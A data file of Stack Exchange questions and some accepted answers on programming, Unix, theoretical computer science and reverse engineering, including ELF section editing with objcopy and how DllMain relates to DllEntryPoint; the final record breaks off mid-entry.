{  "id": "_reverseengineering.14779"  , "question": "I am in Linux, and I have seen this question a few times but never, nobody answered how to really make this work.I need to add a section to an already compiled binary. Lets say for a moment is an ELF file. I'm using objcopy so this should be generic for any format because objcopy uses libbfd that handles many formats.My process is as follows.I create the bytecode for a section I want to append to an already compiled ELF file. Let's name this file bytecode.binThen I do:objcopy --add-section .mysection=bytecode.bin \\--set-section-flags .mysection=code,contents,alloc,load,readonly \\myprogram myprogram_editedThen I adjust the VMA of the secition:objcopy --adjust-section-vma .mysection=$((16#XXXXX)) myprogram_edited myprogram_editedWhere XXXXXX is the new VMA address for the section.I get the warning:objcopy: stIbZt3t: warning: allocated section `.mysection' not in segmentWhen I do:objdump -d myprogram_editedI see:Disassembly of section .mysection:0000000000201011 <.mysection>:......So I see the section is created OK and the VMA adjusted. But the section is not mapped to segments, so it can't be loaded at runtime.How can I solve this?"  , "title": "How to SUCCESSFULLY add a code section to an executable file in Linux?"  , "tags": "binary analysis;linux;elf;executable;binary format"  } 
{  "id": "_codereview.63552"  , "question": "I am very new to JS and am having a bit of a problem with making this happen.function updateDisplay23() {  var statElem = document.getElementById(stat_ht);  if (statElem) {    statElem.innerHTML = stats[ht];  }}I load all the functions from the index at the startup then call the function with:updateDisplay23()This works fine and loads the info to the index page as desired. The problem is I have 30 or so functions, and may add many more. This is a lot of calls, I would like to combine them all into one function call.  Someone hinted this may be possible."  , "title": "Function help combining multiple vars"  , "tags": "javascript;beginner"  } 
{  "id": "_unix.374004"  , "question": "History Search (Ctrl+r) sometimes only allows me to search for 2 charactersWhen this happens i need to close the tab and create a new one....I wish i knew what i was doing wrong to cause this to happen so i don't have to close and reopen tabs.  Can anyone tell me?Ctrl+rEnter sudoBut it stops at the first 2 characters:(reverse-i-search)`su': sudo su username "  , "title": "History Search (Ctrl+r) sometimes only allows me to search for 2 characters"  , "tags": "bash;command history"  } 
{  "id": "_unix.65328"  , "question": "I have a personal program, that has a server/client design.The server daemon part of it, should be run as its own limited user, and the program was not designed to drop its root privileges (if started as root) like some Linux programs do.So my question, in its startup script in /etc/init.d/, should I use sudo or su to run this daemon as another user? Does it make a difference? Will either of the two even work? Something else?The operating system is a custom GNU/Linux one, built using Linux From Scratch instructions, and does have both programs running correctly."  , "title": "Should I use `sudo` or `su` in a startup script?"  , "tags": "linux;sudo;su;sysvinit"  , "accepted_answer": "If you can easily alter the program so that it drops its privileges, then this is the best approach. Switching user ID in the startup scripts is kludgey and rather inflexible, even if it does work."  } 
{  "id": "_unix.158997"  , "question": "Alright, when I run certain commands the wrong way, (misspelled, etc.) The terminal outputs this: > instead of computername:workingfolder username$, and when I type enter it goes like this:>>>That would be if I pressed enter 3 times."  , "title": "Why do I sometimes get repeatedly prompted with > in the terminal?"  , "tags": "bash;shell;command line;prompt"  , "accepted_answer": "> is the default continuation prompt.That is what you will see if what you entered before had unbalanced quote marks.  As an example, type a single quote on the command line followed by a few enter keys:$ '> > > The continuation prompts will occur until you either (a) complete the command with a closing quote mark or(b) type Ctrl+D to finish input, at which point the shell will respond with an error message about the unbalanced quotes,or(c) type Ctrl+C which will abort the command that you were entering.How this is usefulSometime, you may want to enter a string which contains embedded new lines.  You can do that as follows:$ paragraph='first line> second line> third line> end'Now, when we display that shell variable, you can see that the prompts have disappeared but the newlines are retained:$ echo $paragraphfirst linesecond linethird lineend"  } 
{  "id": "_codereview.7466"  , "question": "I have a navigation, with a sprite that changes based on the class. In my jQuery, I'm clearing out the classes so it will just have .nav and then addClass the right class based on the click.  It works but feels very redundant. Does anyone have suggestions on optimizing this?HTML: <div class=grid_12 nav home>            <ul class=tabs>                <li class=home><a href=javascript:;>HOME</a></li>                <li class=game-stats><a href=javascript:;>GAME STATS</a></li>                <li class=game-talk><a href=javascript:;>GAME TALK</a></li>                <li class=game-info><a href=javascript:;>GAME INFO</a></li>            </ul>        </div>JS:$('DIV.content DIV.nav ul li.home').click(function(){    $('DIV.content DIV.nav').attr('class', 'nav');    $('DIV.content DIV.nav').addClass('home');});$('DIV.content DIV.nav ul li.game-stats').click(function(){    $('DIV.content DIV.nav').attr('class', 'nav');    $('DIV.content DIV.nav').addClass('gamestats');});$('DIV.content DIV.nav ul li.game-talk').click(function(){    $('DIV.content DIV.nav').attr('class', 'nav');    $('DIV.content DIV.nav').addClass('gametalk');});$('DIV.content DIV.nav ul li.game-info').click(function(){    $('DIV.content DIV.nav').attr('class', 'nav');    $('DIV.content DIV.nav').addClass('gameinfo');});"  , "title": "Changing a sprite based on the class"  , "tags": "javascript;jquery;html"  , "accepted_answer": "When an li is clicked, it sets the closest .nav classes to nav and the class on the clicked li:$('.content .nav li').on('click', function(){    $(this).closest('.nav').attr('class', 'nav ' + $(this).attr('class'));});"  } 
{  "id": "_cstheory.12892"  , "question": "Suppose Alice has a distribution $\\mu$ over a finite (but possibly very large) domain, such that the (Shannon) entropy of $\\mu$ is upper bounded by an arbitrarily small constant $\\varepsilon$. Alice draws a value $x$ from $\\mu$, and then asks Bob (who knows $\\mu$) to guess $x$.What is the success probability for Bob? If he is only allowed one guess, then one can lower bound this probability as follows: the entropy upper bounds the min-entropy, so there is an element that has probability of at least $2^{-\\varepsilon}$. If Bob chooses this element as his guess, his success probability will be $2^{-\\varepsilon}$.Now, suppose that Bob is allowed to make multiple guesses, say $t$ guesses, and Bob wins if one of his guesses is correct. Is there a guessing scheme that improves Bob's success probability? In particular, is it possible to show that Bob's failure probability decreases exponentially with $t$?"  , "title": "Guessing a low entropy value in multiple attempts"  , "tags": "it.information theory;pr.probability"  , "accepted_answer": "Bob's best bet is to guess the $t$ values with largest probability.If you're willing to use Rnyi entropy instead, Proposition 17 in Bozta' Entropies, Guessing and Cryptography states that the error probability after $t$ guesses is at most$$ 1 - 2^{-H_2(\\mu)\\left(1-\\frac{\\log t}{\\log n}\\right)} \\approx \\ln 2 \\left(1-\\frac{\\log t}{\\log n}\\right) H_2(\\mu), $$where $n$ is the size of the domain. Granted, the dependency on $t$ is pretty bad, and perhaps Bozta was focused on a different regime of the entropy.For the Shannon entropy, you can try to solve the dual optimization problem: given a fixed failure probability $\\delta$, find the maximal entropy of such a distribution. Using the convexity of $-x\\log x$, we know that the distribution $\\mu$ has the form $a,b,\\ldots,b;b,\\ldots,b,c$, where $a\\geq b\\geq c$, $a+(t-1)b = 1-\\delta$, and $c = \\delta-\\lfloor\\frac{\\delta}{b}\\rfloor b$. We have $t-1+\\lfloor\\frac{\\delta}{b}\\rfloor$ values that get probability $b$. Conditioning on $s = \\lfloor\\frac{\\delta}{b}\\rfloor$, we can try to find $b$ which minimizes the entropy. For the correct value of $s$, this will be an internal point (at which the derivative vanishes). I'm not sure how to get asymptotic estimates using this approach."  } 
{  "id": "_cs.28257"  , "question": "This is a graph theory and partial ordering problem. Consider a set of triples {(di,ai,ci)}i=1...N, which specify edges between two nodes A and B, d denotes a departure time, a an arrival time and c a cost. Technically there can be multiple incomparable costs, for example in $ and % chance that your goods arrive safely.An example of such a situation could be these 5 edges:(I did not draw the time axis on scale)There are five edges, I, II, III, IV and V. The costs are denoted at the edges, they are either 100, 10 or 1. Edge V is drawn red to easily discriminate it from the other edges, since it crosses through them. However, aside from that it is not different.Given such edges, a few things are important:An edge is only interesting if it departs after we arrive at A, for example in the image we can arrive at (a), then edge I is not an option anymore. The same goes for edges II and V if we arrive at (b), etc.Given an arrival and its set of interesting edges, and edge ei is dominated if there exists an edge ej with ej< ei. This is the case iff aj ≤ ai ^ cj ≤ ci ^ (aj < ai v cj < ci). In layman terms, cost and arrival need to be at least as small, but one must be strictly smaller. This is a partial ordering, some edges are incomparable.Given a arrival in A, I want to find all relevant, undominated (or Pareto) edges.We can enumerate all the edges:I:   (0  , 1, 100)II:  (0.5, 2, 10)III: (2  , 3, 100)IV:  (2.5, 4, 10)V:   (1.5, 5, 1)Putting them in a partial ordering, using a directed acyclic graph (dag), we get this:An arrow denotes the <-relation between edges. Note that an edge in this case is a node in the dag: confusing, I know. When I say edge, I mean a node in the dag above.I added an edge (-∞, -∞), which is always irrelevant, but creates a nice 'root' of the dag. This way we sort of have a tree, where leaves sometimes merge without creating cycles. I also only denote the arrival at B and cost, needed to create the dag, but technically there is also a departure are A for each of the edges.If we were to arrive at A at -1, we can simply return all the children of (-∞, -∞) as relevant and undominated, but for another arrival we may need to traverse the tree differently (in a more complicated fashion). I was thinking of this:marker := map from edge to bool # marks whether edge has been traversedfor all edges: marker(edge) := false # none have been traversedtraverse(root, arrival):    if(marker(root)) return []  #already been at this node    marker(root) := true;    if(departure(root) > arrival) return [root]; # return singleton list, all children will be dominated by this edge.    # this node is irrelevant, but possible some children are relevant.    l = [];    for each child of root:        append traverse(child, arrival) to l    return lTraverse returns a list of undominated, relevant edges. However, Is this an efficient way to tackle this problem? Is there a better solution to this problem? Is this problem known under a known name?"  , "title": "Search in a partial ordering defined by tuples of numbers"  , "tags": "graph theory;graph traversal;partial order"  , "accepted_answer": "I solved my OP as my intuition was. First I created a graph as described by the second picture of the OP. Then I traverse it like this:global: visited, frontfunction proceed(arrival)    visited := array of bool for each node initialized to false     for each x &isin; front        proceed(arrival, x)    return frontfunction proceed(arrival, node):    if(visited[node]): return    visited[node] := true    if(node.departure > arrival):       remove node from front       for each node x:           append x to the end of frontfunction calculate_outgoing:    outgoing := array of lists for each arrival at A, each list contains feasible and relevant A->B connections for that arrival.    front   := [(-&infin;, -&infin;)]    for each arrival at A in increasing order:        outgoing[arrival] := proceed(arrival)    return outgoingInitially only the root of the dag is in the is in the front. Then the front is moved towards the 'leaves' of the dag as the arrival times increase, that is, certain options 'fade away' and hence are replaced by other options.Notice that I have a tree-view on the dag. The key difference is that a node can have more parents, hence I mark which nodes are already visited, preventing one from visiting them twice via different parents.I find this solution more satisfying then @d-w's, since he did not address the problem of multiple costs, like stated in the OP: Technically there can be multiple incomparable costs, for example in $ and % chance that your goods arrive safely., nor did he comment on it. If you have only one cost, his solution is adequate."  } 
{  "id": "_webmaster.87629"  , "question": "I have a book sharing website which is built with angular. The basic model is that someone creates a book entry on my site and that book gets displayed on the front page of the website, along with a discover page. On these pages one can then click on the cover of the showcased books which will directly take you the book's homepage (within my site) containing all of the book's information.Now the problem comes when trying to make my website SEO friendly, and it has boiled down to two options. I could have a headless browser pre-render my page or I could leave the bot on its own to interpret my page on its own. The caveat of the first option, is firstly that google has deprecated this method of doing things since it uses the _escaped_fragment= parameter, but most importantly is the fact that the front page of my site can contain up to 300+ book entries, and my discover page can contain even significantly more. So if I went with a headless browser to render the pages for the crawler I could potentially overload and crash the server if it tries to render the homepage for every entry at the time the crawler is requesting them.The second approach which is ideal but I have not gotten it to work would be to have the angular data binding work on its own. Where on the front page I could have the entries and within the entry embed a hidden <a> tag that binds to the entries homepage, however since the entries are loaded with AJAX the crawler requests the unmodified url, instead of the resolved one. This is also a problem within the book's homepage where the meta tags are interpolated to include the book's individual descriptions, but all the crawler sees are the unresolved versions.Therefore I am truly between a rock and a hard place when it comes to SEO, which my site would greatly benefit from since the book's would have a greater chance of being discovered if they were to appear whenever someone searched for keywords that don't necessarily pertain to my website's functionality but rather to the book's description. Any suggestions are appreciated."  , "title": "SEO friendly book sharing website built with angular.js"  , "tags": "seo;crawlable ajax"  } 
{  "id": "_reverseengineering.2079"  , "question": "I have a piece a malware I was share with. (I do this for fun, anyways)Is a DLL according to the IMAGE_FILE_HEADER->Characteristics. I was trying to do some dynamic analysis on it. I have done the following:Run it with rundll32.exe, by calling its exports. Nothing.Changed the binary's characteristics to an exe. Nothing. So I moved on to static analysis, Loaded on IDA and OllyDbg. Which brings me to my question. :)What is the main difference between DllMain and DllEntryPoint?When/How does one get call vs the other?[EDIT]So after reading MSDN and a couple of books on MS programming. I understand DllEntryPoint.DllEntryPoint is your DllMain when writing your code. Right?!So then why have DllMain. In other words, when opening the binary in IDA you have DllEntryPoint and DllMain. I know it is probably something easy but I am visual person, so obviously not seeing something here."  , "title": "Difference between DllMain and DllEntryPoint"  , "tags": "windows;malware;dll"  , "accepted_answer": "Both, DllMain and DllEntryPoint are merely symbolic names of the same concept. They even share the same prototype. But they aren't the same:The function must be defined with the __stdcall calling convention.  The parameters and return value must be defined as documented in the  Win32 API for WinMain (for an .exe file) or DllEntryPoint (for a DLL).  It is recommended that you let the linker set the entry point so that  the C run-time library is initialized correctly, and C++ constructors  for static objects are executed.(MSDN Library from Visual Studio 2005)The entry point in a DLL is the same as in an EXE technically, but with different semantics and prototype (EXE vs. DLL). Both are to be found at IMAGE_OPTIONAL_HEADER::AddressOfEntryPoint. However, in a DLL this entry point is optional (although usually supplied by the runtime library). The entry point isn't explicitly exported through the export directory (although IDA for example shows them under Exports). Most of the time there is no public name attached to this entry point, which is why the documentation refers to it as DllEntryPoint. If you find this name in the export directory of the PE file it's probably not the actual entry point from the PE optional header (this would have to be confirmed by looking at the exact sample, though). The last point, btw, holds for DllMain as well.DllMain is the name the runtime library (ATL, MFC ...) implementation expects you to supply. It's a name the linker will see referenced from the default implementation of DllEntryPoint which is named _DllMainCRTStartup in the runtime implementations. See the CRT source files crtdll.c and dllcrt0.c if you have Visual Studio.This means that DllEntryPoint calls DllMain - assuming default behavior. The runtime-implemented entry point function (_DllMainCRTStartup) does other initialization.You can override this name by using the /entry command line switch to the linker. Again, it's just a name and you can choose whatever you fancy. The limitations (not being able to load another DLL using LoadLibrary from within the entry point and so on) are independent of the name you give the function.Side-note: in an EXE the TLS callbacks run before the entry point code, which can be dangerous in malware research. I don't think this is relevant to DLLs, though, but if someone has more knowledge in that area I'm interested to see pointers to material.Peter Ferrie, a distinguished reverser and malware analyst, pointed out in a comment to this answer:TLS callbacks always run in statically-linked DLLs, and since Vista,  they also run in dynamically-linked DLLs! For more information, see my  TLS presentations, and of  course my Ultimate Anti-Debugging ReferenceThanks Peter."  } 
{  "id": "_codereview.60947"  , "question": "I have an a element for a button. The SVG snippet inside links to the containing SVG file at the top of the body.  <a href=#menu class=head__toggle title=Toggle Menu>   <svg viewBox=0 0 70.115 53.162 class=head__btn>     <use xlink:href=#skmenu></use>   </svg></a>When I checked with Codesniffer for WCAG2AA compliance it criticized: Anchor element found with a valid href attribute, but no link content  has been supplied.So I've added text inside the <a> element and wrapped it with a span. <a href=#menu class=head__toggle title=Toggle Menu><span class=srtext>Menu Toggle</span>   <svg viewBox=0 0 70.115 53.162 class=head__btn>     <use xlink:href=#skmenu></use>   </svg></a>And hid the text with the following CSS snippet. Without the span, both, the text as well as the SVG would have been hidden.  .srtext {    position: absolute;    top: -9999px;    left: -9999px;}Question is, is the solution ARIA as well as browser compliant? Or are there ways to improve the solution (maybe without span)?  "  , "title": "Is the Button, an  element with svg code and hidden link content inside, ARIA conform and well laid out?"  , "tags": "css;html5;svg"  } 
{  "id": "_vi.5089"  , "question": "Texas Instruments has a custom assembly language for its programmable real-time unit subsystems (PRUSS). TI provides syntax files for Notepad++ and Textpad, but I cannot find any syntax files for Vim. I'd be a bit surprised if no one had made on yet, though.For now, I'm using ft=c, which is okay but not ideal."  , "title": "Is there a syntax file for TI's PRUSS assembly language?"  , "tags": "syntax highlighting"  , "accepted_answer": "EDIT: There is now a plugin made by copying the syntax file below: https://github.com/BatmanAoD/pruss-vimHere's my own PRU vim syntax highlighter with instructions:mkdir ~/.vim/syntaxmkdir ~/.vim/ftdetectcd ~/.vim/ftdetectvi pruft.vimInsert and save the following:au BufRead,BufNewFile *.p       set filetype=pruau BufRead,BufNewFile *.hp      set filetype=pruReturn back to your terminal.cd ~/.vim/syntaxvi pru.vimInsert and save the following: Vim syntax file for PRU Created by Bryan Wilcuttif exists (b:current_syntax)    finishendif Define keywords from PRUsyn keyword syntaxElementKeyword add adc sub suc rsb rsc lsl lsr and or xor not min max syn keyword syntaxElementKeyword clr set scan lmbd mov ldi mvib mviw mvid lbbo sbbo lbco sbcosyn keyword syntaxElementKeyword zero jmp jal call ret qbgt qbge qblt qble qbeq qbne qba syn keyword syntaxElementKeyword qbbs qbbc wbs wbc halt slp syn keyword syntaxElementKeyword ADD ADC SUB SUC RSB RSC LSL LSR AND OR XOR NOT MIN MAX syn keyword syntaxElementKeyword CLR SET SCAN LMBD MOV LDI MVIB MVIW MVID LBBO SBBO LBCO SBCOsyn keyword syntaxElementKeyword ZERO JMP JAL CALL RET QBGT QBGE QBLT QBLE QBEQ QBNE QBA syn keyword syntaxElementKeyword QBBS QBBC WBS WBC HALT SLP hi def link syntaxElementKeyword Statement Define registers from PRUsyn keyword registerKeyword r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15 syn keyword registerKeyword r16 r17 r18 r19 r20 r21 r22 r23 r24 r25 r26 r27 r28 r29 r30 r31 syn keyword registerKeyword R0 R1 R2 R3 R4 R5 R6 R7 R8 R9 R10 R11 R12 R13 R14 R15 syn keyword registerKeyword R16 R17 R18 R19 R20 R21 R22 R23 R24 R25 R26 R27 R28 R29 R30 R31 syn match regPartBit '.t\\d\\+' contains=registerKeywordsyn match regPartWord '.w\\d\\+' contains=registerKeywordhi def link registerKeyword PreProchi def link regPartBit PreProchi def link regPartWord PreProc Preprocessor commandssyn keyword preprocWord setcallreg entrypoint origin assign enter leave using macro mparam endm struct endssyn keyword preprocType u32 u16 u8hi def link preprocWord PreProchi def link preprocType Type Define constant registers from PRUsyn keyword constantKeyword c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 c10 c11 c12 c13 c14 c15 syn keyword constantKeyword c16 c17 c18 c19 c20 c21 c22 c23 c24 c25 c26 c27 c28 c29 c30 c31 syn keyword constantKeyword C0 C1 C2 C3 C4 C5 C6 C7 C8 C9 C10 C11 C12 C13 C14 C15 syn keyword constantKeyword C16 C17 C18 C19 C20 C21 C22 C23 C24 C25 C26 C27 C28 C29 C30 C31 hi def link constantKeyword PreProc Define commentssyn match synComment //.*$hi def link synComment CommentRestart your vim session.The syntax highlighter isn't perfect but good enough for my own use while writing PRU assembler code."  } 
{  "id": "_datascience.19993"  , "question": "What is intended / right way of initializing variables in TensorFlow in C++?For instance, how do I initialize a variable in the following two examples:initialize a variable with some random distribution (for example tensorflow::ops::RandomUniform)initialize a variable with some custom values (for example, I want a vector of weights to have exactly this value - [1., 2., 42., 7500.])"  , "title": "Initialize a variable in TensorFlow"  , "tags": "tensorflow"  } 
{  "id": "_cs.74473"  , "question": "I want to understand how a turing machine that will accept only words of length bigger than 100 will look like. My idea: it will copy a word and move to the right 100 times. If non of the cells was empty it will accept. Furthermore if it is true I can also conclude that it is decidable .If there is no problem with my assertions so far, how will a turing machine that prints the number of letters in a word will look like? is it possible as well?"  , "title": "Can a turing machine calculate word's length?"  , "tags": "computability;turing machines"  } 
{  "id": "_unix.60632"  , "question": "I have a dual boot Windows & Linux system. I removed the Linux partition, but after that I am not able to go in to Windows XP. It is not booting. It gives me a GRUB error. "  , "title": "After removing linux Grub error"  , "tags": "windows;grub;linux kernel;dual boot"  } 
{  "id": "_unix.101119"  , "question": "I am having a problem executing a script that basically captures the disk space from the server and outputs the result to an HTML page.STORAGE=$(df -PTh | column -t | sort -n -k6n)The output in STDOUT is OK, it is well formatted. When I echo the variable to an HTML page, the output becomes one line, just like this one:/dev/vx/dsk/localdg/wm7x01 vxfs 30G 21G 9.3G 70% /apps/wm7x01 /dev/mapper/vg00-vrts ext3 6.9G 4.7G 2.3G 68% /vrts_install /dev/mapper/vg00-ora11g_cli ext3 7.7G 4.1G 3.3G 57% /usr/oracle11g_cli /dev/mapper/vg00-repackage ext3 1008M 423M 586M 42% /var/spool/repackage /dev/vx/dsk/cfs_dcgnts_dg/shared vxfs 220G 91G 130G 42% /apps/sharedI even tried using:quotations: echo $STORAGEan array: echo {STORAGE[@]}Unfortunately, all yields the same result."  , "title": "Output the result of DF command to variable then print to an HTML page"  , "tags": "bash;html"  } 
{  "id": "_codereview.38393"  , "question": "I wanted to write a simple Log class for PHP, I use ajax calls with AngularJS and often return the log in an arrayExample:$return['data'] = $returnedDataArray;$return['log'] = $logDataArray;$return['status'] = 'success';echo json_encode($return);I was hoping to implement a logging system in my other classes, like my DB wrapper, etc.Example:Log::put('sql', $sql, 'DB');Log::put('fields', $fieldsArray, 'DB');And than pass the log.Example:$return['log'] = Log::getLog();Here is my Log class:class Log {    private static $_loggingOn = true, $_log = array();    public static function put ($key, $value, $className = null, $functionName = null) {        if ($className) {            if ($functionName) {                self::$_log[$className][$functionName][$key] = $value;            } else {                self::$_log[$className][$key] = $value;            }        } else {            self::$_log[$key] = $value;        }    }    public static function getLog () {        if (self::loggingOn()) {            return self::$_log;        }        return array('Logging is turned off.');    }    public static function loggingOn () {        return self::$_loggingOn;    }}I am wondering if using the static class would be a recommended approach?"  , "title": "Writing a static Log class for PHP"  , "tags": "php;object oriented;static"  , "accepted_answer": "No, using static methods is not a recommand approach. With static methods, your class always knows which class it calls. That means you can never switch to another logger class (e.g. one that writes the logs in a file).A class should be independent of other classes as much as possible. In this case, you should just create a LoggerInterface (or use the one from PSR-3) and base on that interface. Inject it in the classes that needs a logger and then use that object. This way, you can always change from loggers (as long as they implement the correct interface) and your class doesn't know which classes it uses.Example:interface LoggerInterface{    public function put($key, $value, $class = null, $function = null);    public function getMessages();}class Logger{    protected $messages;    public function put($key, $value, $class = null, $function = null)    {        // ...    }    public function getMessages()    {        // ...    }}class DataBase{    protected $logger;    public function __construct(LoggerInterface $logger)    {        $this->logger = $logger;    }    public function someDbFunction(...)    {        // ... do something        $this->logger->put(...); // log something    }}This approach is called Dependency Injection. To make live easier for you, you can sue a Dependency Injection Container (also called a Service Container) to manage which classes depends on which other classes and creating those objects. A simple example is PimpleThere are also more disadvantages of using static methods. You can for instance never have 2 different instances of the logger, as there are no instances. That means that all messages are put in the same instance. You may want to internally use a logger in the Database section of your lib and another logger in the Form section of your lib and then one logger for your complete lib."  } 
{  "id": "_cs.63671"  , "question": "Let $\\varphi:\\mathbb{N}\\to\\mathbb{N}^*$ be an arbitrary recursive enumeration of finite strings and $\\mathcal{I}^n_i(x_1,...,x_n) = x_i $be the $i$-th projection over $n$ variables.I would like to show from the point of view of recursion theory that the variable projection $$ (n,y) \\mapsto \\mathcal{I}_y^{\\text{len}(\\varphi(n))}(\\varphi(n)) $$is recursive.Using TMs this is quite straightforward: just simulate the TM that computes $\\varphi$ and print only the $y$-th term of that TM executed with input $n$.  I am interested in a purely recursion-theoretical proof, i.e., I would like to know how that function can be written in terms of primitive recursion and/or $\\mu$-recursion, which I'm finding tricky."  , "title": "Prove that variable projection is recursive"  , "tags": "computability;primitive recursion;recursion theory;mu recursion"  } 
{  "id": "_unix.56117"  , "question": "I have a laptop running Fedora 15, Gnome 3.0.1, and Mobile Intel GM45 Express Chipset. I have a VGA monitor connected to it, as well as a DisplayPort to DVI adapter to connect a second monitor. Both monitors are detected by the system and I can use them individually, but not both at the same time. Both monitors are the same.When I try to activate the second monitor using System Settings -> Display I've seen different behaviors. Either the images (from the 3 screens) get overlapped on the first 2screens, jumbled up. Or one of the screens (laptop or monitor) stays active butbecomes invisible. Meaning the screen is dark, but the mouse travels over there and there are windows over there.As well as this: xrandr --output VGA1 --mode 1680x1050 --rate 60xrandr: cannot find crtc for output VGA1Error which occurs with either of the inactive monitor.Here's the output of xrand:xrandr Screen 0: minimum 320 x 200, current 3120 x 1050, maximum 8192 x 8192LVDS1 connected 1440x900+1680+0 (normal left inverted right x axis y axis) 303mm x 190mm   1440x900       60.0*+   40.0     1024x768       60.0     800x600        60.3     56.2     640x480        59.9  VGA1 connected 1680x1050+0+0 (normal left inverted right x axis y axis) 433mm x 271mm   1680x1050      60.0*+   1280x1024      75.0     60.0     1280x960       60.0     1152x864       75.0     1024x768       75.1     70.1     60.0     832x624        74.6     800x600        72.2     75.0     60.3     56.2     640x480        72.8     75.0     66.7     60.0     720x400        70.1  HDMI1 disconnected (normal left inverted right x axis y axis)DP1 connected (normal left inverted right x axis y axis)   1680x1050      60.0 +   1280x1024      75.0     60.0     1280x960       60.0     1152x864       75.0     1024x768       75.1     70.1     60.0     832x624        74.6     800x600        72.2     75.0     60.3     56.2     640x480        72.8     75.0     66.7     60.0     720x400        70.1  HDMI2 disconnected (normal left inverted right x axis y axis)DP2 disconnected (normal left inverted right x axis y axis)DP3 disconnected (normal left inverted right x axis y axis)What else should I try to have all 3 displays active at the same time? Is it possible?"  , "title": "Connecting 2 monitors to a laptop"  , "tags": "fedora;gnome3;monitors;multi monitor"  , "accepted_answer": "If you look at the chipset datasheet, there are only two display planes and display pipes (see pp. 7879). You can also take a look at the tables on pp. 8687. So, you've hit a hardware limitation.You may be able to get it working if two of the displays are displaying the same thing, with the exact same settings (same image, resolution, refresh rate, bit depth, etc.)."  } 
{  "id": "_webapps.98842"  , "question": "As per this support topic, one can click the refresh button to update a table of contents in a Google Doc, but is there any way to set the table of contents to update automatically (capture any changes made to the headings in the document as they are made)?"  , "title": "Is there a way to make a table of contents in a Google Document update automatically?"  , "tags": "google documents"  } 
{  "id": "_codereview.87664"  , "question": "Recently I wrote a program that was required to handle year and month data and so I wrote this class to encapsulate that handling.  What I needed was a way to initialize the Yearmonth object based on the current local time, and allow a simple method of calculating future Yearmonth values based on a duration in months.  This sample code illustrates how I use it:ymtest.cpp#include <iostream>#include Yearmonth.hint main(){    YM::Yearmonth ym;    // today    std::cout << ym << '\\n';    ym += 2;         // 2 months from now    std::cout << ym << '\\n';    ym += 14;        // test year increment    std::cout << ym << '\\n';}Yearmonth.h#ifndef YEARMONTH_H#define YEARMONTH_H#include <iostream>namespace YM {class Yearmonth{public:    // construct with today's year and month    Yearmonth();    // construct with year, month (1=Jan, 12=Dec)    Yearmonth(unsigned ayear, unsigned amonth);    // increment by given number of months    Yearmonth &operator+=(const unsigned mon);    // return year    unsigned year() const;    // return month (1=Jan, 12=Dec)    unsigned month() const;    // prints to ostream.  E.g. 2014 Dec ==> 201412    friend std::ostream& operator<<(std::ostream &out, const Yearmonth &ym);private:    unsigned myyear;    unsigned mymonth;};}#endif //YEARMONTH_HYearmonth.cpp#include <ctime>#include Yearmonth.hnamespace YM {Yearmonth::Yearmonth(){    time_t tt;    time(&tt);    tm *t = localtime(&tt);    myyear = t->tm_year + 1900;    mymonth = t->tm_mon;}Yearmonth::Yearmonth(unsigned ayear, unsigned amonth)    : myyear(ayear), mymonth(amonth-1){    myyear += mymonth/12;    mymonth %= 12;}unsigned Yearmonth::year() const{    return myyear;}unsigned Yearmonth::month() const{    return mymonth+1;}Yearmonth &Yearmonth::operator+=(const unsigned mon){    mymonth += mon;    myyear += mymonth/12;    mymonth %= 12;    return *this;}std::ostream& operator<<(std::ostream &out, const Yearmonth &ym){    return out << ym.myyear * 100 + ym.mymonth+1;}}The class seems sufficient for my needs and everything works.  Have I missed anything important?"  , "title": "Implementing a Yearmonth class"  , "tags": "c++;c++11;datetime;c++14"  , "accepted_answer": "I only have a few small remarks to make:In your header file, don't include <iostream>: include <iosfwd> instead which contains the forward declarations for every type in <iostream>.Also, you only use std::ostream in your source file, so you could simply include <ostream> there.Several times, you compute mymonth / 12 and mymonth % 12. If your class is designed to be used intensively, you could consider using std::div(mymonth, 12) which will compute both values at once and may therefore be slightly faster (if you really need it).You may want to prefix time_t, time, tm and localtime with std::. Them coming from the C standard library doesn't prevent you to use std::.Using a const unsigned parameter seems pretty useless. I don't have strong opinions on the const on value parameters, but you could safely drop it since it adds little value."  } 
{  "id": "_unix.89647"  , "question": "I'd like to merge the following multiple lines of output so that they form a single line:line 1:,,,1,,,,,,,,18,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,42,1,121,1,17,10,21,1,,IU,8,0,,0,      ,0,0,0,,,,,,,,,,,,,,,,,,,,,,,,1227,,,11,,0,,,,1,01,,,1,12769,,7707,0,,,,12769,,,12769,6,0,,,,10,,,1,      901,10800,14/04/13,,,4,,,,2,,,,,,,,,,,,,,,,,,,,,,,,,,,,,A,,,,1001,,,,,,,,,,,01,,12769,0,,,,,,,,,,,,,      ,,,,,,,,,,,,,,,,14/04/13,10800,,,,,,,,,,,,,,,,,,,,,,1,,,,,,,,,964750001210,,1001,,1,,0,,,,,,,,,,,,17      ,,,,,,,,,31685125704,,,,1,,1,0,,,,,,,,,,,,,,,,,,19,0,.901,19,0,.901,,,901,1,,,8767318,13790084045,1,      1304150024556817,,,,33399399,,,,,,,,,,,,901,1,,,,,,0,,0,,,,,,GSMT11B**S,,,4,,,,,,10800,14/04/1      3,10800,14/04/13,443867992,,,,,,,,1,0,,0,,,,,,,61409,51,,,9647507763683,,1001,1,0,,60,0,5,,N,,0,1,I,      1,,,,,,47,,,,,54,1,4,19,,29,1,1,1,3,1112,2,,Usage,Usage,USG,,N,N,0,,1,,TRNT01I,90,,0GRI3,90,,,,,0,1,      1,1,1,1,34111,437956,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,19,,,,,,,,,,,,,,,H,,1,0,1,0...blank line...line 2:,,,1,,,,,,,,18,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,42,1,121,1,17,10,21,1,,IU,8,0,,0,      ,0,0,0,,,,,,,,,,,,,,,,,,,,,,,,399,,,11,,0,,,,1,01,,,1,61,,67,0,,,,61,,,61,6,0,,,,10,,,1,74,10800,14/      04/13,,,4,,,,2,,,,,,,,,,,,,,,,,,,,,,,,,,,,,A,,,,1001,,,,,,,,,,,01,,61,0,,,,,,,,,,,,,,,,,,,,,,,,,,,,,      14/04/13,10800,,,,,,,,,,,,,,,,,,,,,,1,,,,,,,,,964750001210,,1001,,1,,0,,,,,,,,,,,,17,,,,,,,,,9647703      